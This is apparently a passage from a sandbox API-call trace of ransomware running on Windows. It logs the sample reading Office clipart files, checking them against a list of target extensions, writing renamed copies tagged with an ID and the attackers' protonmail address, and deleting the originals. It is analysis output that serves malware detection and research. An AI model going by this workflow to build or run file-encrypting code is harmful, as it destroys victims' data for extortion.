	[0164.042] WriteFile (in: hFile=0x45c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x2280, lpOverlapped=0x0) returned 1
	[0164.044] ReadFile (in: hFile=0x460, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.044] WriteFile (in: hFile=0x45c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.044] SetEndOfFile (hFile=0x45c) returned 1
	[0164.044] CloseHandle (hObject=0x45c) returned 1
	[0164.044] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.044] SetEndOfFile (hFile=0x460) returned 1
	[0164.058] CloseHandle (hObject=0x460) returned 1
	[0164.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0164.058] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 1
	[0164.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0164.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0164.059] lstrlenW (lpString=".doc") returned 4
	[0164.059] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0164.059] lstrlenW (lpString=".docx") returned 5
	[0164.059] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0164.059] lstrlenW (lpString=".pdf") returned 4
	[0164.059] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0164.059] lstrlenW (lpString=".xls") returned 4
	[0164.059] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0164.059] lstrlenW (lpString=".xlsx") returned 5
	[0164.059] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0164.059] lstrlenW (lpString=".ppt") returned 4
	[0164.059] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0164.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0164.059] lstrlenW (lpString=".zip") returned 4
	[0164.059] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0164.059] lstrlenW (lpString=".rar") returned 4
	[0164.059] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0164.059] lstrlenW (lpString=".bz2") returned 4
	[0164.059] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0164.059] lstrlenW (lpString=".7z") returned 3
	[0164.060] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0164.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0164.060] lstrlenW (lpString=".dbf") returned 4
	[0164.060] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0164.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0164.060] lstrlenW (lpString=".1cd") returned 4
	[0164.060] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0164.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0164.060] lstrlenW (lpString=".jpg") returned 4
	[0164.060] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0164.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0164.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0164.060] lstrlenW (lpString=".doc") returned 4
	[0164.060] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0164.060] lstrlenW (lpString=".docx") returned 5
	[0164.060] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0164.060] lstrlenW (lpString=".pdf") returned 4
	[0164.060] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0164.060] lstrlenW (lpString=".xls") returned 4
	[0164.060] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0164.060] lstrlenW (lpString=".xlsx") returned 5
	[0164.060] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0164.060] lstrlenW (lpString=".ppt") returned 4
	[0164.060] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0164.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0164.060] lstrlenW (lpString=".zip") returned 4
	[0164.060] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0164.060] lstrlenW (lpString=".rar") returned 4
	[0164.060] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0164.060] lstrlenW (lpString=".bz2") returned 4
	[0164.060] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0164.060] lstrlenW (lpString=".7z") returned 3
	[0164.060] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0164.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0164.061] lstrlenW (lpString=".dbf") returned 4
	[0164.061] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0164.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0164.061] lstrlenW (lpString=".1cd") returned 4
	[0164.061] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0164.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0164.061] lstrlenW (lpString=".jpg") returned 4
	[0164.061] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0164.061] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0164.061] lstrlenW (lpString="J0099156.JPG") returned 12
	[0164.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0164.061] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=13954) returned 1
	[0164.062] CloseHandle (hObject=0x460) returned 1
	[0164.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 0x220
	[0164.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0164.062] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.062] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0164.063] GetLastError () returned 0x0
	[0164.063] ReadFile (in: hFile=0x460, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x3682, lpOverlapped=0x0) returned 1
	[0164.396] WriteFile (in: hFile=0x3e0, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x3690, lpOverlapped=0x0) returned 1
	[0164.398] ReadFile (in: hFile=0x460, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.398] WriteFile (in: hFile=0x3e0, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.398] SetEndOfFile (hFile=0x3e0) returned 1
	[0164.398] CloseHandle (hObject=0x3e0) returned 1
	[0164.398] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.398] SetEndOfFile (hFile=0x460) returned 1
	[0164.402] CloseHandle (hObject=0x460) returned 1
	[0164.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0164.402] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 1
	[0164.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0164.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0164.403] lstrlenW (lpString=".doc") returned 4
	[0164.403] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0164.403] lstrlenW (lpString=".docx") returned 5
	[0164.403] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0164.403] lstrlenW (lpString=".pdf") returned 4
	[0164.403] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0164.403] lstrlenW (lpString=".xls") returned 4
	[0164.403] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0164.403] lstrlenW (lpString=".xlsx") returned 5
	[0164.403] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0164.403] lstrlenW (lpString=".ppt") returned 4
	[0164.403] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0164.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0164.403] lstrlenW (lpString=".zip") returned 4
	[0164.404] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0164.404] lstrlenW (lpString=".rar") returned 4
	[0164.404] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0164.404] lstrlenW (lpString=".bz2") returned 4
	[0164.404] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0164.404] lstrlenW (lpString=".7z") returned 3
	[0164.404] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0164.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0164.404] lstrlenW (lpString=".dbf") returned 4
	[0164.404] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0164.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0164.404] lstrlenW (lpString=".1cd") returned 4
	[0164.404] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0164.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0164.404] lstrlenW (lpString=".jpg") returned 4
	[0164.404] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0164.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0164.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0164.404] lstrlenW (lpString=".doc") returned 4
	[0164.404] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0164.404] lstrlenW (lpString=".docx") returned 5
	[0164.404] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0164.404] lstrlenW (lpString=".pdf") returned 4
	[0164.404] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0164.404] lstrlenW (lpString=".xls") returned 4
	[0164.404] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0164.404] lstrlenW (lpString=".xlsx") returned 5
	[0164.404] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0164.404] lstrlenW (lpString=".ppt") returned 4
	[0164.404] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0164.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0164.404] lstrlenW (lpString=".zip") returned 4
	[0164.404] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0164.404] lstrlenW (lpString=".rar") returned 4
	[0164.404] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0164.404] lstrlenW (lpString=".bz2") returned 4
	[0164.405] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0164.405] lstrlenW (lpString=".7z") returned 3
	[0164.405] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0164.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0164.405] lstrlenW (lpString=".dbf") returned 4
	[0164.405] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0164.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0164.405] lstrlenW (lpString=".1cd") returned 4
	[0164.405] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0164.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0164.405] lstrlenW (lpString=".jpg") returned 4
	[0164.405] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0164.405] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0164.405] lstrlenW (lpString="J0099167.JPG") returned 12
	[0164.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0164.406] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=43949) returned 1
	[0164.406] CloseHandle (hObject=0x460) returned 1
	[0164.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 0x220
	[0164.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0164.407] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.407] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0164.407] GetLastError () returned 0x0
	[0164.407] ReadFile (in: hFile=0x460, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0xabad, lpOverlapped=0x0) returned 1
	[0164.424] WriteFile (in: hFile=0x3e0, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xabb0, lpOverlapped=0x0) returned 1
	[0164.425] ReadFile (in: hFile=0x460, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.425] WriteFile (in: hFile=0x3e0, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.425] SetEndOfFile (hFile=0x3e0) returned 1
	[0164.426] CloseHandle (hObject=0x3e0) returned 1
	[0164.426] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.426] SetEndOfFile (hFile=0x460) returned 1
	[0164.429] CloseHandle (hObject=0x460) returned 1
	[0164.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0164.429] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 1
	[0164.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0164.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0164.430] lstrlenW (lpString=".doc") returned 4
	[0164.430] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0164.430] lstrlenW (lpString=".docx") returned 5
	[0164.430] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0164.430] lstrlenW (lpString=".pdf") returned 4
	[0164.430] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0164.430] lstrlenW (lpString=".xls") returned 4
	[0164.430] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0164.430] lstrlenW (lpString=".xlsx") returned 5
	[0164.430] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0164.430] lstrlenW (lpString=".ppt") returned 4
	[0164.430] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0164.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0164.430] lstrlenW (lpString=".zip") returned 4
	[0164.430] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0164.430] lstrlenW (lpString=".rar") returned 4
	[0164.430] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0164.430] lstrlenW (lpString=".bz2") returned 4
	[0164.430] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0164.430] lstrlenW (lpString=".7z") returned 3
	[0164.431] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0164.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0164.431] lstrlenW (lpString=".dbf") returned 4
	[0164.431] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0164.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0164.431] lstrlenW (lpString=".1cd") returned 4
	[0164.431] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0164.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0164.431] lstrlenW (lpString=".jpg") returned 4
	[0164.431] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0164.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0164.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0164.431] lstrlenW (lpString=".doc") returned 4
	[0164.431] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0164.431] lstrlenW (lpString=".docx") returned 5
	[0164.431] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0164.431] lstrlenW (lpString=".pdf") returned 4
	[0164.431] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0164.431] lstrlenW (lpString=".xls") returned 4
	[0164.431] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0164.431] lstrlenW (lpString=".xlsx") returned 5
	[0164.431] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0164.431] lstrlenW (lpString=".ppt") returned 4
	[0164.431] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0164.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0164.431] lstrlenW (lpString=".zip") returned 4
	[0164.431] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0164.431] lstrlenW (lpString=".rar") returned 4
	[0164.431] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0164.431] lstrlenW (lpString=".bz2") returned 4
	[0164.431] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0164.431] lstrlenW (lpString=".7z") returned 3
	[0164.431] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0164.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0164.431] lstrlenW (lpString=".dbf") returned 4
	[0164.432] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0164.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0164.432] lstrlenW (lpString=".1cd") returned 4
	[0164.432] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0164.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0164.432] lstrlenW (lpString=".jpg") returned 4
	[0164.432] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0164.432] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0164.432] lstrlenW (lpString="J0099169.WMF") returned 12
	[0164.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0164.432] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=10192) returned 1
	[0164.432] CloseHandle (hObject=0x460) returned 1
	[0164.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 0x220
	[0164.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0164.433] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.433] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0164.433] GetLastError () returned 0x0
	[0164.434] ReadFile (in: hFile=0x460, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x27d0, lpOverlapped=0x0) returned 1
